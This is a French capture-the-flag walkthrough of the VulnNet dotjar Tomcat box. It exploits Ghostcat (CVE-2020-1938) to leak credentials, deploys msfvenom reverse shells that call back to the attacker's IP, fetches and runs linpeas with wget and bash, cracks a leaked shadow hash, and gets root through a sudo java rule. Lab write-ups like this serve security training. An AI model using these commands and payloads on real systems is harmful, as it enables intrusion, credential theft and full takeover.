VulnNet dotjar est une box consacrée à java. Il sera question de l’exploit lié à « CVE-2020-1938 Ghostcat AJP«
Cette box est similaire à tabby de HackTheBox et à tomghost, thompson de TryHackMe concernant l’exploitation de Tomcat. Je vous proposera d’ici quel temps de mettre ses write-up en ligne
Enumération
L’énumération avec nmap et avec cette commande nmap -T5 -p- 10.10.19.72 nous permet de trouver deux ports ouverts :
- 8009/tcp open ajp13
- 8080/tcp open http-proxy
Une fois les ports ouverts déterminés, il faut récupérer la version des services qui tournent dessus avec cette commande nmap : nmap -sV -sC -O -p 8009,8080 10.10.19.72
- 8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
- 8080/tcp open http Apache Tomcat 9.0.30
Il n’y a qu’une seule voix possible pour exploiter cette box, Tomcat, on va voir par la suite comment trouver et faire fonctionner l’exploit pour obtenir un accès à la machine.
Initial Foothold
Pour trouver le bon exploit, il faut effectuer une recherche avec Google comprenant les mots clés suivants : tomcat 9.0.3 ajp exploitdb . Cela permet d’obtenir l’exploit suivant :
Pour récupérer le script de l’exploit, il faut aller sur l’icône {} et copier/coller le contenu dans un fichier que l’on appellera 48143.py
Utilisation du script ( lfi ) et récupération d’informations :
python 48143.py -p 8009 -f WEB-INF/web.xml 10.10.19.72
Cela nous permet de récupérer les identifiants du compte webdev. À noter que le GUI est inaccessible pour des raisons de sécurité. Ce qui veut dire, que l’on ne pourra pas, se connecter sur l’interface pour upload un shell. En revanche, l’accès via curl est possible.
Création du shell avec msfvenom :
msfvenom -p java/shell_reverse_tcp LHOST=10.8.76.250 LPORT=4444 -f war > shell3.war
Upload du shell shell3.war :
curl -u ‘webdev’:’Hgj3LA$02D$Fa@21′ -T shell3.war ‘http://10.10.19.72:8080/manager/text/deploy?path=/shell3.war’
Vérification si upload ok :
curl -u ‘webdev’:’Hgj3LA$02D$Fa@21′ http://10.10.19.72:8080/manager/text/list
Mise en place d’un listener nc :
nc -nlvp 4444
Exécution du shell :
curl -u ‘webdev’:’Hgj3LA$02D$Fa@21′ http://10.10.19.72:8080/shell3.war
Escalade horizontale
Maintenant que l’on a un acces à la machine, on va dans un 1ier temps upgrade notre shell avec les commandes suivante
whereis python
/usr/bin/python3.6 -c ‘import pty; pty.spawn(« /bin/bash »)’
faitre ctrl + z
web@vulnnet-dotjar:/$ ^Z
A ce moment là, on revient sur notre shell Kali et il faut faire les commandes suivantes :
stty raw -echo
fg ( rien n’apparait )
reset
xterm
À partir de là, notre shell est upload avec notamment la complétion qui fonctionne.
Enumération locale
Afin de reprendre l’énumération locale moins fastidieuse, nous allons utiliser linpeas.sh. Il est disponible ici.
Transfert linpeas.sh sur la box :
Pour cela, il faut exécuter cette commande python : python3.9 -m http.server à partir de l’emplacement d’où l’on souhaite émuler un serveur web.
Ensuite, il faut télécharger et exécuter linpeas.sh chez la victime via ces 2 commandes :
wget http://10.8.76.250:8000/linpeas.sh
bash linpeas.sh
Une fois que linpeas a terminé, dans le résultat qui s’affiche, on peut voir que dans le dossier /var/backup, le fichier shadow-backup-alt.gz est readable par tout le monde.
Récupération et cassage du hash du compte jdk-admin :
D’abord, on va copier le fichier shadow-backup-alt.gz dans le dossier /tmp :
cp shadow-backup-alt.gz /tmp
cd /tmp
Ensuite, on va le décompresser :
gunzip shadow-backup-alt.gz
et ensuite on l’ouvre :
cat shadow-backup-alt
Pour casser le mot de passe, j’utilise hachcat sur windows :
.\hashcat64.exe -m 1800 -a 0 .\hash2.txt .\rockyou.txt
Le mot de passe est : 794613852
Escalade de privilège
Une fois le mot de passe cracker, on change d’utilisateur avec la commande suivant :
su jdk-admin
Puis on fait la commande suivant pour voir quels sont droits que possèdent l’utilisateur :
sudo -l
L’utilisateur a des droits root pour exécuter n’importe quel fichier jar.
On va créer un shell en jar avec msfvenom :
msfvenom -p java/meterpreter/reverse_tcp LHOST=10.8.76.250 lport=1337 -f raw -o /tmp/java6.jar
On l’upload de la même manière que linpeas.sh
Puis on lance msfconsole :
msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload java/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.8.76.250
msf6 exploit(multi/handler) > set lport 1337
msf6 exploit(multi/handler) > exploit -j
Une fois metasploit prêt à recevoir le reverse shell, il faut sur la machine victime exécuter en tant que root la commande suivante :
sudo -u root /usr/bin/java -jar shell.jar
Ce qui a pour effet dans msfconsole de récupérer un shell en root :